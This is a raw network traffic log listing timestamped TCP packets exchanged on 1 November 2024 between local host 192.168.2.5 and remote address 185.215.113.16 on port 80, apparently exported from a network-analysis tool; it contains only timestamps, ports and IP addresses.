Nov 1, 2024 05:53:15.530230045 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530237913 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530241013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530251026 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530261040 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530272961 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530276060 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530297995 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530308962 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530466080 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530477047 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530514956 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530550957 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530563116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530591965 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530690908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530702114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530711889 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530724049 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530735016 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530745029 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530747890 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530766010 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530782938 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530942917 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530955076 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530966043 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530977011 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.530991077 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.530993938 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531007051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531013966 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531018019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531028032 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531034946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531037092 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531048059 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531059980 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531061888 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531069994 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531080961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531085014 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531100988 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531122923 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531464100 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531476021 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531486034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531510115 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531526089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531531096 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531538010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531548977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531557083 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531559944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531567097 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531569958 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531580925 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531582117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531594038 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531596899 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531610966 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531625032 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531930923 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531941891 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531951904 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531961918 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531966925 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531979084 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.531981945 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.531990051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532001019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532006025 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.532011986 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532021999 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.532021999 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532033920 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532044888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532047033 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.532053947 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532067060 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.532083988 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.532099009 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.568658113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.568694115 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.568706036 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.568763018 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.568797112 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.568803072 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.568814993 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.568846941 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.568883896 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.568896055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.568928957 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569021940 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569034100 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569045067 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569056034 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569067955 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569077969 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569080114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569087982 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569103003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569134951 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569259882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569271088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569282055 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569292068 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569309950 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569324017 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569397926 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569408894 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569417953 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569430113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569442034 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569453001 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569489956 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569525957 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569536924 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569547892 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569567919 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569586992 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569606066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569617987 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569627047 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569638968 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569648027 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569652081 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569663048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569664001 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569679976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569690943 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569715977 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569926977 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569937944 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569947958 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569960117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.569972038 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.569984913 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570008039 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570063114 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570075035 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570091009 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570101976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570106983 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570115089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570127010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570133924 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570137978 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570148945 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570154905 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570178986 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570200920 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570486069 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570509911 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570521116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570528984 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570532084 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570540905 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570544004 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570554018 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570559978 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570565939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570570946 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570576906 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570588112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570599079 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570599079 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570610046 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570619106 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570622921 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570633888 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570641041 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570643902 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570668936 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570679903 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.570971966 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570983887 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.570993900 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571007013 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571017027 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571043968 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571048021 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571059942 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571068048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571079016 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571080923 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571091890 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571104050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571104050 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571115971 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571129084 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571145058 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571614981 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571625948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571635962 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571647882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571657896 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571659088 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571671963 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571676016 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571682930 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571695089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571696997 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571707010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571717978 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571717978 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571729898 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571741104 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571743965 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571759939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571763992 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571770906 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571773052 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571783066 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571794033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571805000 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571805954 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571816921 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.571829081 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571839094 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.571865082 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572424889 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572437048 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572453022 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572463989 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572474003 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572474003 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572487116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572495937 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572498083 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572508097 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572509050 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572520018 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572530985 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572532892 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572540998 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572552919 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572560072 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572561979 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572572947 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572577000 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572586060 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572597027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572599888 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572608948 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572619915 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572622061 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572630882 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572638988 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572643042 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572649956 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.572654963 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.572679043 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573318005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573328972 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573339939 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573352098 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573358059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573362112 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573373079 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573374033 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573385954 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573398113 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573400021 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573409081 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573421001 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573429108 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573431969 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573441982 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573442936 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573456049 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573457956 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573467016 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573477030 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573482037 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573487997 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573512077 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573524952 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573892117 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573904037 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573915005 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.573935032 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.573955059 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.615241051 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.615258932 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.615269899 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.615341902 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.646742105 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646754980 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646815062 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.646821976 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646835089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646858931 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.646883965 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.646950006 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646960974 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646974087 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646985054 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.646986961 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.646996975 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647016048 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647130966 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647142887 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647152901 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647166014 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647175074 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647176027 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647192001 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647208929 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647326946 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647336960 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647346973 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647371054 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647389889 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647473097 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647485018 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647495985 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647506952 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647521019 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647524118 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647536039 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647548914 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647557974 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647559881 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647571087 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647598982 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647825956 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647838116 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647871017 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.647965908 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647975922 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647984982 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.647995949 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.648006916 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.648009062 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.648017883 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.648027897 CET	49987	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:53:15.648029089 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.648041010 CET	80	49987	185.215.113.16	192.168.2.5
Nov 1, 2024 05:53:15.648049116 CET	49987	80	192.168.2.5	185.215.113.16
